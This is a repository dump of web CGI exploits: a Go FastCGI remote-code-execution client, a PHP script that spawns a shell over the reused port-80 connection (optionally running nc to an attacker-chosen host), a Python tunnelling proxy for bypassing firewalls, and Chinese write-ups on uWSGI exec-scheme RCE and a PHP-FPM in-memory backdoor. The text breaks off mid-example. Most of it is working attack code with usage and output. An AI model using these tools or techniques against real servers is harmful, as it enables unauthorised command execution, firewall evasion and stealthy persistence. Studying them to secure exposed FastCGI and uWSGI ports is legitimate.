├── README-zh.md ├── README.md ├── python ├── uwsgi-rce-zh.md └── uwsgi_exp.py ├── php ├── Fastcgi │ ├── fcgi_exp.go │ ├── php-fastcgi-remote-exploit.md │ ├── php-fpm-memory-shell.md │ ├── fcgiclient.go │ └── fcgi_jailbreak.php └── Apache-mod_php │ ├── mod_php_port_reuse.php │ └── mod_php_port_proxy.py └── LICENSE /README-zh.md: -------------------------------------------------------------------------------- 1 | # Web CGI Exploits 2 | [![License](https://img.shields.io/github/license/wofeiwo/webcgi-exploits.svg)](LICENSE) 3 | [![README](https://img.shields.io/badge/README-English-blue.svg)](README.md) 4 | [![README](https://img.shields.io/badge/README-中文-blue.svg)](README-zh.md) 5 | 6 | 这是我前几年写的和Web CGI相关的各种exp的集合。 7 | 8 | ## 原理 9 | 通常情况下,web的应用架构是这样分层的: 10 | 11 | 1. web应用程序 12 | 2. web框架 13 | 3. 脚本语言解释器 14 | 4. web容器(服务器) 15 | 5. web前端反向代理(通常是nginx等等.) 16 | 17 | * `4` & `5` 有可能是同一个东西,甚至有些时候`3` & `4`也可能是同一个东西。 18 | 19 | 可以把上面的内容想象成一个数据管道,每一个分层做一些处理和解析。请求和返回就在这么一来一回两个管道中生存和传递。每一层和下一层如何沟通通讯?相对而言比较复杂,通常会有一些标准,包括内存共享,socket通讯等等。不同语言有不同的实现。在`3`和`4`分层之间的通讯模式,通常这种被叫做CGI,fastcgi和python的wsgi都是常见的标准协议。 20 | 但是由于web容器和脚本语言的位置不同,因此在对通讯的使用和信任上并不完全一致。会有一些错误和误解存在。这也就给了我们很多机会,利用这里面的功能去挖掘漏洞,实现我们想要实现的功能。例如远程代码执行,端口转发等等。 21 | 22 | ## Exploits 23 | ### PHP 24 | 25 | - Fastcgi 26 | 27 | 参考文章[《PHP FastCGI 的远程利用》](php/Fastcgi/php-fastcgi-remote-exploit.md) 28 | 29 | 1. `fcgi_exp.go`:当fastcgi端口对外,或者配合`SSRF`漏洞时候,可以利用此exp进行远程代码执行. 30 | 2. `fcgi_jailbreak.php`:对一些基于php自身配置形成沙盒的环境,可以利用此脚本进行越狱. 31 | 32 | 参考文章[利用PHP-FPM做内存马的方法](php/Fastcgi/php-fpm-memory-shell.md) 33 | 34 | - Apache Mod_php 35 | 36 | mod_php和其他cgi不太一致的地方在于,他是以模块形式加载在apache进程中的,因此他可以操作进程中的相关资源。而apache的工作模式又通常是fork一些worker进程,会带入主进程的一些文件句柄可供操作。利用这些可以做一些很不错的trick。具体可以参考曾经的文章:[《PHP端口复用的利用》](https://blog.wofeiwo.com/post/2011-10-09/PHPDuan-Kou-Fu-Yong-De-Li-Yong-.html) 37 | 38 | 1. `mod_php_port_reuse.php`:复用你的当前80端口链接,生成一个交互式的shell,可以绕过一些防火墙. 39 | 2. `mod_php_port_proxy.py` 与 `mod_php_port_reuse.php` 共用,可以直接复用当前80端口链接,进行端口转发通讯. 40 | 41 | ### Python 42 | Python 通常来说主要使用的就是wsgi模式做统一接口。但是在具体实现上有`uwsgi`、`gunicorn`、`scgi`、`mod_python`、`fastcgi`等多种。但是最常见的还是`uwsgi`、`gunicorn`这两个。其中`uwsgi`由于支持功能较多,通过协议直接传参,因此可以被利用。 43 | 44 | - Uwsgi 45 | 1. `uwsgi_exp.py`:利用uwsgi协议,远程执行任意命令,原理和使用场景和php fastcgi类似.具体可以参考[《uWSGI 远程代码执行漏洞》](python/uwsgi-rce-zh.md) 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Web CGI Exploits 2 | [![License](https://img.shields.io/github/license/wofeiwo/webcgi-exploits.svg)](LICENSE) 3 | [![README](https://img.shields.io/badge/README-English-blue.svg)](README.md) 4 | [![README](https://img.shields.io/badge/README-中文-blue.svg)](README-zh.md) 5 | 6 | Here's several exploits related to different web CGIs. I wrote those exploits in last few years. 7 | 8 | ## How it works 9 | Web app are basicly those layers: 10 | 11 | 1. applications 12 | 2. web frameworks 13 | 3. script language engines 14 | 4. web containers(servers) 15 | 5. web front proxy(nginx etc.) 16 | 17 | * `4` and `5` could be the same thing.`3` and `4` could the same thing too. 18 | 19 | There are communications between each layer. each layer software are developed by different teams. they do have standards to communicate each other, but they always have misunderstandings or design faults. So we can take advantage of those faults to achieve our goals, like RCE, spwan a shell, port forward etc. 20 | 21 | ## Exploits 22 | ### PHP 23 | 24 | - Fastcgi 25 | - Reference: [PHP FastCGI Remote Exploit(Chinese)](php/Fastcgi/php-fastcgi-remote-exploit.md) 26 | 1. `fcgi_exp.go` use fastcgi to read or execute file if the fcgi port exposed to public( or with a `SSRF`). 27 | 2. `fcgi_jailbreak.php` use fastcgi params to change some php ini configs and break php-based sandbox. 28 | - Reference: [Using PHP-FPM as memory shell(Chinese)](php/Fastcgi/php-fpm-memory-shell.md) 29 | 30 | - Apache Mod_php 31 | - Reference: [PHP Port Reuse With Mod_php(Chinese)](https://blog.wofeiwo.com/post/2011-10-09/PHPDuan-Kou-Fu-Yong-De-Li-Yong-.html) 32 | 1. `mod_php_port_reuse.php` reuse the 80 connection to spawn a interactive shell. Bypass the firewall. 33 | 2. `mod_php_port_proxy.py` work together with `mod_php_port_reuse.php`, create a 80 tcp proxy to bypass the firewall. 34 | 35 | ### Python 36 | 37 | - Uwsgi 38 | - Reference: [uWSGI RCE Exploit(Chinese)](python/uwsgi-rce-zh.md) 39 | 1. `uwsgi_exp.py` exploit uwsgi to execute any command remotely if the uwsgi port exposed to public( or with a `SSRF`). 40 | -------------------------------------------------------------------------------- /python/uwsgi-rce-zh.md: -------------------------------------------------------------------------------- 1 | # uWSGI 远程代码执行漏洞 2 | 3 | #### wofeiwo@蚂蚁金服天穹实验室 4 | 5 | | 风险级别 | 严重 | 6 | | --- | --- | 7 | | 影响范围 | uWSGI 1.9及以上(最新2.0.15,报告官方之后,官方在3.0开发版中修复了这个问题,不受到影响)| 8 | | 修复方案 | 不要将uWSGI端口暴露,建议绑定在127.0.0.1上。 | 9 | | 发现时间 | 2018-01-30 | 10 | 11 | ## 背景 12 | uWSGI是一个经常被使用的应用容器,通常情况下由于WSGI是Python实现的标准,所以uWSGI经常作为Python应用容器启动。但实际上uWSGI同样也支持加载Perl/Ruby/Go等应用。 13 | 14 | uWSGI除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。 15 | 16 | ## 漏洞成因 17 | 经过研究其协议和源码实现,我们发现在uwsgi的协议中,允许传递一些魔术变量,这些变量通常都是可以起到动态调整参数的作用。其中有一个参数`UWSGI_FILE`,可以用来忽略原有uWSGI绑定App,动态设定一个新的文件进行加载执行。 18 | 19 | 这里本身就是一个LFI的漏洞,可以任意执行本地存在的任何文件。同时,由于uWSGI程序中默认注册了一系列schemes,导致此问题可以更被放大。 20 | 21 | ```c 22 | void uwsgi_setup_schemes() { 23 | uwsgi_register_scheme("emperor", uwsgi_scheme_emperor); 24 | uwsgi_register_scheme("http", uwsgi_scheme_http); 25 | uwsgi_register_scheme("data", uwsgi_scheme_data); 26 | uwsgi_register_scheme("sym", uwsgi_scheme_sym); 27 | uwsgi_register_scheme("section", uwsgi_scheme_section); 28 | uwsgi_register_scheme("fd", uwsgi_scheme_fd); 29 | uwsgi_register_scheme("exec", uwsgi_scheme_exec); 30 | uwsgi_register_scheme("call", uwsgi_scheme_call); 31 | uwsgi_register_scheme("callint", uwsgi_scheme_callint); 32 | } 33 | 34 | static char *uwsgi_scheme_exec(char *url, size_t *size, int add_zero) { 35 | int cpipe[2]; 36 | if (pipe(cpipe)) { 37 | uwsgi_error("pipe()"); 38 | exit(1); 39 | } 40 | uwsgi_run_command(url, NULL, cpipe[1]); 41 | char *buffer = uwsgi_read_fd(cpipe[0], size, add_zero); 42 | close(cpipe[0]); 43 | close(cpipe[1]); 44 | return buffer; 45 | } 46 | ``` 47 | 48 | 49 | 50 | 这其中很多都是危险协议,尤其注意到其中有`exec`协议,可以直接通过刚才的`UWSGI_FILE`变量传参,导致远程执行系统命令。 51 | 52 | ## 漏洞利用 53 | 由于uWSGI和php的fastcgi会默认绑定本地端口不一样,它是允许绑定端口直接对外的。因此需要找到一个可以访问到的uWSGI端口(uwsgi协议),对其发送uWSGI协议的payload即可。 54 | 55 | 例如,目标主机上是类似如下: 56 | 57 | `uwsgi --socket :8001 --module project.wsgi` 58 | 59 | 执行利用程序: 60 | 61 | ```shell 62 | $ python uwsgi_exp.py -u x.x.x.x:8001 -c "echo '111' >/tmp/test" 63 | [*]Sending payload, wish you luck. 64 | HTTP/1.1 200 OK 65 | Content-Type: text/html 66 | 67 | ....... 68 | ``` 69 | 在目标主机上查看,即可发现命令已被执行,`/tmp/test`文件已经存在。 70 | 71 | ```shell 72 | $ cat /tmp/test 73 | 111 74 | ``` 75 | -------------------------------------------------------------------------------- /php/Fastcgi/fcgi_exp.go: -------------------------------------------------------------------------------- 1 | // PHP FactCGI remote exploit 2 | // Date: 2012-09-15 3 | // Author: wofeiwo@80sec.com 4 | // Note: Just for research purpose 5 | 6 | package main 7 | 8 | import ( 9 | "fmt" 10 | "os" 11 | "strconv" 12 | "strings" 13 | 14 | "./fcgiclient" 15 | ) 16 | 17 | func usage(name string) { 18 | fmt.Printf("--------------------------------\n") 19 | fmt.Printf("PHP Fastcgi remote exploit.\n") 20 | fmt.Printf("Date: 2012-09-15\n") 21 | fmt.Printf("Author: wofeiwo@80sec.com\n") 22 | fmt.Printf("Note: Just for research purpose\n") 23 | fmt.Printf("--------------------------------\n\n") 24 | fmt.Printf("Usage: %s [command]\n", name) 25 | fmt.Printf("\t cmd: phpinfo, system, read\n") 26 | fmt.Printf("\t the SYSTEM cmd only affects PHP-FPM >= 5.3.3\n") 27 | fmt.Printf("\t ip: Target ip to exploit with.\n") 28 | fmt.Printf("\t port: Target port running php-fpm.\n") 29 | fmt.Printf("\t file: File to read or execute.\n") 30 | fmt.Printf("\t command: Command to execute by system. Must use with cmd 'system'.\n\n") 31 | fmt.Printf("Example: %s system 127.0.0.1 9000 /var/www/html/index.php \"whoami\"\n", name) 32 | fmt.Printf("\t %s phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html\n", name) 33 | fmt.Printf("\t %s read 127.0.0.1 9000 /etc/issue\n", name) 34 | os.Exit(-1) 35 | } 36 | 37 | func main() { 38 | 39 | var cmd, ip, url, reqParams string 40 | var port int 41 | var cutLine = "-----0vcdb34oju09b8fd-----\n" 42 | 43 | if len(os.Args) < 5 { 44 | usage(os.Args[0]) 45 | } else { 46 | cmd = os.Args[1] 47 | ip = os.Args[2] 48 | p, err1 := strconv.Atoi(os.Args[3]) 49 | url = os.Args[4] 50 | 51 | if err1 != nil { 52 | usage(os.Args[0]) 53 | } 54 | 55 | port = p 56 | } 57 | 58 | switch { 59 | case strings.ToLower(cmd) == "phpinfo": 60 | reqParams = "" 61 | case strings.ToLower(cmd) == "system": 62 | if len(os.Args) != 6 { 63 | usage(os.Args[0]) 64 | } else { 65 | reqParams = "" 66 | } 67 | case strings.ToLower(cmd) == "read": 68 | reqParams = "" 69 | default: 70 | usage(os.Args[0]) 71 | } 72 | 73 | env := make(map[string]string) 74 | 75 | env["SCRIPT_FILENAME"] = url 76 | env["DOCUMENT_ROOT"] = "/" 77 | env["SERVER_SOFTWARE"] = "go / fcgiclient " 78 | env["REMOTE_ADDR"] = "127.0.0.1" 79 | env["SERVER_PROTOCOL"] = "HTTP/1.1" 80 | 81 | if len(reqParams) != 0 { 82 | env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) 83 | env["REQUEST_METHOD"] = "POST" 84 | env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" 85 | } else { 86 | env["REQUEST_METHOD"] = "GET" 87 | } 88 | 89 | fcgi, err := fcgiclient.New(ip, port) 90 | if err != nil { 91 | fmt.Printf("err: %v", err) 92 | } 93 | 94 | stdout, stderr, err := fcgi.Request(env, reqParams) 95 | if err != nil { 96 | fmt.Printf("err: %v", err) 97 | } 98 | 99 | if strings.Contains(string(stdout), cutLine) { 100 | stdout = []byte(strings.SplitN(string(stdout), cutLine, 2)[0]) 101 | } 102 | 103 | fmt.Printf("%s", stdout) 104 | if len(stderr) > 0 { 105 | fmt.Printf("%s", stderr) 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /php/Apache-mod_php/mod_php_port_reuse.php: -------------------------------------------------------------------------------- 1 | on 2011-08-27. 6 | // Copyright 2011 80sec. All rights reserved. 7 | // Reuse Apache 80 port to spawn a interactive shell. Bypass the firewall. 8 | // Note: Only available on PHP >= 5.3.6 and PHP < 5.4.4 with mod_php on apache. 9 | // PHP has limited "php://fd" in cli mod.(https://github.com/php/php-src/commit/df2a38e7f8603f51afa4c2257b3369067817d818) 10 | // Usage: 1. Put the script on htdocs. 11 | // 2. Get interactive shell: 12 | // nc www.target 80 13 | // GET /port_reuse.php HTTP/1.0\r\n\r\n 14 | // 3. Forward port: 15 | // ./pr.py http://www.target.com/port_reuse.php 127.0.0.1:22 16 | // ssh root@localhost -p 1234 17 | // 18 | 19 | function find_socket(){ 20 | // Get tcp connection status from /proc 21 | $net = file_get_contents("/proc/net/tcp"); 22 | $net .= file_get_contents("/proc/net/tcp6"); 23 | 24 | // Find fd from /proc 25 | $dir = dir("/proc/self/fd"); 26 | while (false !== ($e = $dir->read())) { 27 | // Find socket inode in /proc/self/fd. 28 | if (is_link("/proc/self/fd/".$e) && $e != "." && $e != ".."){ 29 | if(preg_match("/socket:\[(\d+)\]/", @readlink("/proc/self/fd/".$e), $m1)){ 30 | // Match every socket inode in /proc/net/tcp & /proc/net/tcp6. 31 | // If it matchs this connection remote ip/remote port, bingo! We got it! 32 | if(preg_match("/.*${m1[1]}/", $net, $m2)){ 33 | preg_match_all("/(\w{8}):(\w{4})/", $m2[0], $m3); 34 | 35 | // decode ips 36 | $sipstring = $m3[1][0][6].$m3[1][0][7].$m3[1][0][4].$m3[1][0][5].$m3[1][0][2].$m3[1][0][3].$m3[1][0][0].$m3[1][0][1]; 37 | sscanf($sipstring, "%x", $siplong); 38 | $ripstring = $m3[1][1][6].$m3[1][1][7].$m3[1][1][4].$m3[1][1][5].$m3[1][1][2].$m3[1][1][3].$m3[1][1][0].$m3[1][1][1]; 39 | sscanf($ripstring, "%x", $riplong); 40 | $sip = long2ip($siplong); 41 | $rip = long2ip($riplong); 42 | 43 | // decode ports 44 | sscanf($m3[2][0], "%x", $sport); 45 | sscanf($m3[2][1], "%x", $rport); 46 | 47 | if ($rip == $_SERVER['REMOTE_ADDR'] && $rport == $_SERVER['REMOTE_PORT']){ 48 | $dir->close(); 49 | return $e; // That is our socket fd. 50 | } 51 | } 52 | } 53 | } 54 | } 55 | $dir->close(); 56 | return false; 57 | } 58 | 59 | function spawn_shell($fd, $cmd) 60 | { 61 | $fp = fopen("php://fd/".$fd, "a+"); 62 | //stream_set_blocking($fp, false); 63 | 64 | $descs = array( 65 | 0 => $fp, 66 | 1 => $fp, 67 | 2 => $fp 68 | ); 69 | 70 | $cwd = getcwd(); 71 | 72 | $shell = proc_open($cmd, $descs, $pipes, $cwd, $_ENV); 73 | if(is_resource($shell)){ 74 | proc_close($shell); 75 | }else{ 76 | die("[-] Can't fork shell process.\n"); 77 | } 78 | } 79 | 80 | function main(){ 81 | // Some env checks here. 82 | if (version_compare(phpversion(), '5.3.6') < 0){ 83 | die("[-] PHP must at least version 5.3.6.\n"); 84 | } 85 | 86 | if (!(isset($_REQUEST['rhost']) && isset($_REQUEST['rport']))){ 87 | $cmd = "unset HISTFILE ; id ; uname -a ; pwd ; /bin/sh -ip"; 88 | } 89 | else{ 90 | $cmd = "nc ${_REQUEST['rhost']} ${_REQUEST['rport']}"; 91 | } 92 | 93 | $fd = find_socket(); 94 | 95 | if (!isset($fd)){ 96 | die("[-] Can't find this socket information.\n"); 97 | } 98 | 99 | if(isset($cmd)){ 100 | spawn_shell($fd, $cmd); 101 | } 102 | } 103 | 104 | main(); 105 | -------------------------------------------------------------------------------- /php/Fastcgi/php-fastcgi-remote-exploit.md: -------------------------------------------------------------------------------- 1 | # PHP FastCGI 的远程利用 2 | 3 | Authoer: wofeiwo 4 | 5 | 说到FastCGI,大家都知道这是目前最常见的webserver动态脚本执行模型之一。目前基本所有web脚本都基本支持这种模式,甚至有的类型脚本这是唯一的模式(ROR,Python等)。 6 | 7 | FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。 8 | 9 | 然而正是因为这种模式,却也带来了一些问题。例如去年80sec发布的《[nginx文件解析漏洞](http://www.80sec.com/nginx-securit.html)》 实际上就是由于fcgi和webserver对script路径级参数的理解不同出现的问题。除此之外,由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容。 10 | 11 | ok,以上就是背景原理解释,我这里就用我最熟悉的PHP给各位做个例子。 12 | 13 | php的fastcgi目前通常叫做FPM。他默认监听的端口是9000端口。我们这里用nmap直接扫描一下: 14 | 15 | ```shell 16 | nmap -sV -p 9000 --open x.x.x.x/24 17 | ``` 18 | 19 | 为什么要用sV?因为9000端口可能还存在其他服务,这里需要借用nmap的指纹识别先帮我们鉴定一下。 20 | 21 | ```shell 22 | [root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24 23 | 24 | Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT 25 | Nmap scan report for abc.net (173.xxx.xxx.111) 26 | Host is up (0.0095s latency). 27 | PORT STATE SERVICE VERSION 28 | 9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) 29 | Service Info: OS: Linux; CPE: cpe:/o:linux:kernel 30 | 31 | Nmap scan report for abc.com (173.xxx.xxx.183) 32 | Host is up (0.0096s latency). 33 | PORT STATE SERVICE VERSION 34 | 9000/tcp open tcpwrapped 35 | 36 | Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . 37 | Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds 38 | ``` 39 | 40 | 随便扫描了一下,运气不错,一个C段有2个开放9000端口的,不过其中一个是被管理员修改的sshd,另一个tcpwrapped,才是我们的目标。 41 | 42 | 为了做测试,我写了一个fastcgi的客户端程序,直接向对方发起请求。我们利用一个开放的fastcgi能有什么作用?这里和普通的http请求有一点不同,因为webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过`FASTCGI_PARAMS`的包向fcgi进程进行传递。本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情: 43 | 44 | ```shell 45 | [root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue 46 | X-Powered-By: PHP/5.3.2-1ubuntu4.9 47 | Content-type: text/html 48 | 49 | Ubuntu 10.04.3 LTS \n \l 50 | ``` 51 | 52 | 读到了/etc/issue文件,可以看到这是台ubuntu 10.04的机器。那又是怎么实现的呢?其实我们只要在`FASTCGI_PARAMS`中,设定 `DOCUMENT_ROOT`为"/"根目录即可,随后再设置`SCRIPT_FILENAME`为`/etc/issue`。这样,只要我们有权限,我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取,**而是用php去执行它**。 53 | 54 | 既然是执行,所以其实这个漏洞就类似于一个普通的LFI漏洞,如果你知道这台机器上的log路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了。 55 | 56 | 57 | 到此为止了么?不,如果利用log或者去猜其他文件路径去执行代码,还是不够方便,有没有更为方便的利用方式可以让我执行任意我提交的代码呢? 58 | 这里我也找了很多办法,最先想到的是传递env参数过去然后去执行`/proc/self/environ`文件,可惜php-fpm在接收到我的参数值后只是在内存中修改了环境变量,并不会直接改动这个文件。因此没法利用。况且这个方式也不是所有系统都通用。 59 | 我们还有一种方法,在我之前写的[《CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战》](http://zone.wooyun.org/content/151)中,可以通过动态修改`php.ini`中的`auto_prepend_file`的值,去远程执行任意文件。将一个LFI的漏洞变成了RFI,这样可利用空间就大大增加。 60 | fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到[某开发者提交了一个bug](https://bugs.php.net/bug.php?id=51595),php官方才将[此特性](http://svn.php.net/viewvc/php/php-src/trunk/sapi/fpm/fpm/fpm_main.c?r1=298383&r2=298382&pathrev=298383)Merge到php 5.3.3的源码中去。 61 | 62 | 通用通过设置`FASTCGI_PARAMS`,我们可以利用`PHP_ADMIN_VALUE`和`PHP_VALUE`去动态修改php的设置。 63 | 64 | ```ini 65 | env["REQUEST_METHOD"] = "POST" 66 | env["PHP_VALUE"] = "auto_prepend_file = php://input" 67 | env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off" 68 | ``` 69 | 70 | 利用执行`php://input`,然后在POST的内容中写入我们的php代码,这样就可以直接执行了。 71 | 72 | ```shell 73 | [root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a" 74 | X-Powered-By: PHP/5.5.0-dev 75 | Content-type: text/html 76 | 77 | uid=500(www) gid=500(www) groups=500(www) 78 | Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux 79 | ``` 80 | 81 | 细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。 82 | 另一个变化是,我这里去读取`/tmp/a.php`这个php文件,而不是去读取`/etc/issue`。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。 83 | 84 | ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。 85 | 86 | 如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。 87 | -------------------------------------------------------------------------------- /php/Apache-mod_php/mod_php_port_proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding=utf-8 3 | # Author: wofeiwo@80sec.com 4 | # Version: 1.0 5 | # Last modified: 2011-09-30 6 | 7 | import socket 8 | import threading 9 | import SocketServer 10 | import urlparse 11 | import os, sys, getopt, signal 12 | 13 | HELP_MESSAGE = """ 14 | pp.py [-l|--local local_addr] 15 | Example: 16 | \t pp.py -l 127.0.0.1:1234 http://target.com/t.php 10.1.1.10:80 17 | """ 18 | verbose = False 19 | local_addr = "127.0.0.1:1234" 20 | url = "" 21 | target = "" 22 | lserver = None 23 | 24 | 25 | class Usage(Exception): 26 | def __init__(self, msg): 27 | self.msg = msg 28 | 29 | class recvHandler(threading.Thread): 30 | def __init__(self, remote, local): 31 | threading.Thread.__init__(self) 32 | self.remote = remote 33 | self.local = local 34 | def run(self): 35 | while True: 36 | try: 37 | dataReceived = self.remote.recv(1024); 38 | if not dataReceived: break 39 | self.local.send(dataReceived) 40 | except socket.timeout: 41 | break 42 | self.remote.close() 43 | self.local.close() 44 | 45 | class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): 46 | 47 | def handle(self): 48 | global url, target 49 | 50 | u = urlparse.urlparse(url) 51 | if u.netloc.find(":") != -1: 52 | hostname, port = u.netloc.split(":") 53 | port = int(port) 54 | else: 55 | hostname = u.netloc 56 | port = 80 57 | 58 | rhost, rport = target.split(":") 59 | 60 | self.remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 61 | self.remote.connect((hostname, port)) 62 | self.remote.send(b"GET %s?rhost=%s&rport=%s HTTP/1.1\r\nHost: %s\r\n\r\n" % (u.path, rhost, rport, u.netloc)) 63 | 64 | recvHandler(self.remote, self.request).start() 65 | 66 | while True: 67 | try: 68 | dataReceived = self.request.recv(1024) 69 | if not dataReceived: break 70 | self.remote.send(dataReceived) 71 | except socket.timeout: 72 | break 73 | 74 | def finish(self): 75 | self.request.close() 76 | self.remote.close() 77 | 78 | 79 | class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 80 | pass 81 | 82 | def sigint_handler(signal, frame): 83 | lserver.shutdown() 84 | sys.exit(1) 85 | 86 | def main(argv=None): 87 | global verbose, url, target, local_addr, HELP_MESSAGE, lserver 88 | if argv is None: 89 | argv = sys.argv 90 | try: 91 | try: 92 | opts, args = getopt.getopt( 93 | argv[1:], 94 | "hl:v", 95 | ["help", "local=", "verbose"] 96 | ) 97 | except getopt.error, msg: 98 | raise Usage(msg) 99 | 100 | # option processing 101 | for option, value in opts: 102 | if option == "-v": 103 | verbose = True 104 | if option in ("-h", "--help"): 105 | raise Usage(HELP_MESSAGE) 106 | if option in ("-l", "--local"): 107 | local_addr = value 108 | 109 | if (not args) and (len(args) != 2): 110 | raise Usage("参数数目不够.") 111 | else: 112 | url = args[0] 113 | target = args[1] 114 | 115 | LHOST, LPORT = local_addr.split(":") 116 | 117 | except Usage, err: 118 | print >> sys.stderr, sys.argv[0].split("/")[-1] + ": " + str(err.msg) 119 | print >> sys.stderr, "[*] 获取帮助请用 -h 或 --help" 120 | return -1 121 | 122 | signal.signal(signal.SIGINT, sigint_handler) 123 | 124 | lserver = ThreadedTCPServer((LHOST, int(LPORT)), ThreadedTCPRequestHandler) 125 | lserver_thread = threading.Thread(target=lserver.serve_forever) 126 | # lserver_thread.setDaemon(True) 127 | lserver_thread.start() 128 | 129 | if __name__ == "__main__": 130 | sys.exit(main()) -------------------------------------------------------------------------------- /php/Fastcgi/php-fpm-memory-shell.md: -------------------------------------------------------------------------------- 1 | # 利用 PHP-FPM 做内存马的方法 2 | 3 | Date: 2022/8/21 4 | 5 | Author: wofeiwo 6 | 7 | ## 前言 8 | Java 内存马固然是极好的,可我略微瞟了一眼[PHP 的占有率](https://w3techs.com/technologies/overview/programming_language),虽然从我上次关注 PHP 10年都过去了,PHP 却仍然是最为主流的服务端 Web 语言。所以,为什么没人做 PHP 的内存马研究呢? 9 | ![](https://gw.alipayobjects.com/zos/antfincdn/X80AX3xvUt/1abbe486-6e66-45a5-b1da-a047a836f50f.png) 10 | 11 | 然而并不是没人做研究,可由于 PHP 语言的特性,他的一次执行生命周期,通常就是伴随着请求周期开始和结束的。因此,很难完成一段代码的内存长久驻留。目前网上如果搜索“PHP 内存马”,通常会发现两种模式: 12 | 13 | 1. “不死”马:所谓的不死马,其实就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。 14 | 15 | 2. Fastcgi马:这个利用了 [PHP-FPM 可以直接通过 fastcgi 协议通讯](https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fastcgi-remote-exploit.md)的原理,可以指定`SCRIPT_FILENAME`,去执行机器上存在的 PHP 文件;或者配合`auto_prepend_file+php://input`,通过每次提交POST code去执行。(稍微感叹一下,这个问题从我写[fcgi_exp](https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_exp.go)的代码,已过了整整10年) 16 | 17 | 然而,方案1,非常的ugly,阻塞进程不说,而且很多时候还是要本地落盘文件,只是想让管理员删不掉罢了。而方案2,仔细看,却只是对 FPM 未授权访问的漏洞利用而已。甚至更不能算作是内存马的概念。这两者本质上都是受限于“PHP 代码无法长久驻留内存执行”这个问题。因此,关于 PHP 的内存马研究,大部分的时候也就只能止步于此了。 18 | 19 | ## 方案 20 | 现在,让我们聚焦一下,我们究竟想要达到一个什么样的目标:所谓内存马,最主要是为了避免后门文件落盘,让后门代码在内存中驻留,并且可以通过特定的方式访问,即可触发执行。 21 | 22 | 从这个描述中,我们可以看出,隐藏是最核心的诉求。尤其是为了在高等级的对抗过程中,避免管理员从各类文件扫描、流量特征、行为日志中检测出来。内存马只能从进程本身的空间中做检测,传统的旁路检测很难做到这一点。为此,什么通用性,重启即丢失等问题,通通无所谓。 23 | 24 | 所以,我们把需求拆解一下,实际上要解决的两个问题: 25 | 26 | 1. 让后门代码在内存中驻留。 27 | 2. 可以通过“正常”的请求手段,触发执行。 28 | 29 | 我们来想法解决这个问题。其实,从 PHP-FPM 这个 fastcgi server 的实现上,我们就可以知道,本身这个 FPM 的进程就是持久化的,并且并不会如传统 CGI 模式一样,处理一个请求就会消亡。因此,我们只要能在这个进程上下文中保存信息,就算解决了问题。事实上,可能很多人并不知道,**在一次 fastcgi 请求中,任何通过 PHP_VALUE/PHP_ADMIN_VALUE 修改过的PHP配置值,在此 FPM 进程的生命周期内,都是会保留下来的。** 30 | 31 | 于是,真正的方法其实很简单,我们只需要把前面提到的外部方案2略微改一下即可。触发方式延续着之前的`auto_prepend_file`的方案,但由于我们是想要内存马,我们不再沿用`php://input`,否则还得每次都得提交代码,而是替换成`data`协议固定下来。 32 | 33 | 假设在我们获取到一个 Web 的权限后——甚至我们可能只需要一个 SSRF 漏洞即可——我们只需要往 fpm 监听的端口发送如下结构的内容(这里是我本机测试): 34 | 35 | ```php 36 | array(15) { 37 | 